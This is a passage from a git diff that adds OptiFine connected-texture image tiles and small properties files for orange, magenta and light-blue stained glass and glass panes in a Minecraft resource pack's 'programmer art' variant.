b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/45.png new file mode 100644 index 00000000..3df9c2a6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/46.png new file mode 100644 index 00000000..067054d3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/5.png new file mode 100644 index 00000000..c9353d4b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/6.png new file mode 100644 index 00000000..f310397f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/7.png new file mode 100644 index 00000000..6d06d7b8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/8.png new file mode 100644 index 00000000..ac561ba7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/9.png new file mode 100644 index 00000000..42034d27 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/glass_orange.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/glass_orange.properties new file mode 100644 index 00000000..09081939 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/glass_orange.properties @@ -0,0 +1,5 @@ +# Stained glass orange +matchBlocks=orange_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/glass_pane_orange.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/glass_pane_orange.properties new file mode 100644 index 00000000..1c26d1a9 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/glass_pane_orange.properties @@ -0,0 +1,6 @@ +# Stained glass pane orange +matchBlocks=orange_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/0.png new file mode 100644 index 00000000..5cd99450 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/1.png new file mode 100644 index 00000000..73799d2a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/10.png new file mode 100644 index 00000000..f307b826 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/11.png new file mode 100644 index 00000000..612745db Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/12.png new file mode 100644 index 00000000..5eaccfcd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/13.png new file mode 100644 index 00000000..1e206b4c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/14.png new file mode 100644 index 00000000..30e55def Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/15.png new file mode 100644 index 00000000..7fa751ca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/16.png new file mode 100644 index 00000000..145d9a67 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/17.png new file mode 100644 index 00000000..a389d826 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/18.png new file mode 100644 index 00000000..e1379a81 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/19.png new file mode 100644 index 00000000..b9ba5b91 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/2.png new file mode 100644 index 00000000..dd377961 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/20.png new file mode 100644 index 00000000..c80687a7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/21.png new file mode 100644 index 00000000..39f403c5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/22.png new file mode 100644 index 00000000..638b3da0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/23.png new file mode 100644 index 00000000..e88b2e61 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/24.png new file mode 100644 index 00000000..e4621f38 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/25.png new file mode 100644 index 00000000..a64a1703 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/26.png new file mode 100644 index 00000000..e642e141 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/27.png new file mode 100644 index 00000000..7ee2dba2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/28.png new file mode 100644 index 00000000..c7e553e8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/29.png new file mode 100644 index 00000000..5d91ebf0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/3.png new file mode 100644 index 00000000..12f1aa95 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/30.png new file mode 100644 index 00000000..3a167e87 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/31.png new file mode 100644 index 00000000..19fe7f1c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/32.png new file mode 100644 index 00000000..999f9c78 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/33.png new file mode 100644 index 00000000..27a39e1c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/34.png new file mode 100644 index 00000000..495859f3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/35.png new file mode 100644 index 00000000..0de323b5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/36.png new file mode 100644 index 00000000..c0cda909 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/37.png new file mode 100644 index 00000000..0acb361c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/38.png new file mode 100644 index 00000000..8e138e52 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/39.png new file mode 100644 index 00000000..1b0d1ba9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/4.png new file mode 100644 index 00000000..b1ff09ce Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/40.png new file mode 100644 index 00000000..3bc00be7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/41.png new file mode 100644 index 00000000..f81704ec Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/42.png new file mode 100644 index 00000000..5520a916 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/43.png new file mode 100644 index 00000000..d83d0da3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/44.png new file mode 100644 index 00000000..3b2f2d6e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/45.png new file mode 100644 index 00000000..492142e7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/46.png new file mode 100644 index 00000000..30fc4c9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/5.png new file mode 100644 index 00000000..5f09b94c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/6.png new file mode 100644 index 00000000..bce21a58 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/7.png new file mode 100644 index 00000000..659eb3af Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/8.png new file mode 100644 index 00000000..0763cb66 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/9.png new file mode 100644 index 00000000..6628eb88 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/glass_magenta.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/glass_magenta.properties new file mode 100644 index 00000000..e8ff66dc --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/glass_magenta.properties @@ -0,0 +1,5 @@ +# Stained glass magenta +matchBlocks=magenta_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/glass_pane_magenta.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/glass_pane_magenta.properties new file mode 100644 index 00000000..3d90ac72 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/02_glass_magenta/glass_pane_magenta.properties @@ -0,0 +1,6 @@ +# Stained glass pane magenta +matchBlocks=magenta_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/0.png new file mode 100644 index 00000000..b62703d4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/1.png new file mode 100644 index 00000000..b54d3e07 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/10.png new file mode 100644 index 00000000..61a2de60 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/11.png new file mode 100644 index 00000000..0d65d441 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/12.png new file mode 100644 index 00000000..3e2154f7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/13.png new file mode 100644 index 00000000..5bfc9b92 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/14.png new file mode 100644 index 00000000..0eaf5fc8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/15.png new file mode 100644 index 00000000..899033b4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/16.png new file mode 100644 index 00000000..1053015a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/17.png new file mode 100644 index 00000000..2ca7ba64 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/18.png new file mode 100644 index 00000000..972314f7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/19.png new file mode 100644 index 00000000..471b0a17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/2.png new file mode 100644 index 00000000..5ff1e34c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/20.png new file mode 100644 index 00000000..60fc60da Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/21.png new file mode 100644 index 00000000..c7a6d9b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/22.png new file mode 100644 index 00000000..881c6591 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/23.png new file mode 100644 index 00000000..b7dfaa3b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/24.png new file mode 100644 index 00000000..63a1c25a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/25.png new file mode 100644 index 00000000..d0c743f9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/26.png new file mode 100644 index 00000000..98555c33 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/27.png new file mode 100644 index 00000000..f2c50a22 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/28.png new file mode 100644 index 00000000..21d68133 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/29.png new file mode 100644 index 00000000..cb543130 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/3.png new file mode 100644 index 00000000..abd672d4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/30.png new file mode 100644 index 00000000..a148c54d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/31.png new file mode 100644 index 00000000..6328228c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/32.png new file mode 100644 index 00000000..520b4838 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/33.png new file mode 100644 index 00000000..6b686715 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/34.png new file mode 100644 index 00000000..84aaf0d3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/35.png new file mode 100644 index 00000000..585fe05d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/36.png new file mode 100644 index 00000000..4734b0ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/37.png new file mode 100644 index 00000000..1b47e77e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/38.png new file mode 100644 index 00000000..a806848b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/39.png new file mode 100644 index 00000000..b521d2fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/4.png new file mode 100644 index 00000000..a996a89a Binary files /dev/null and 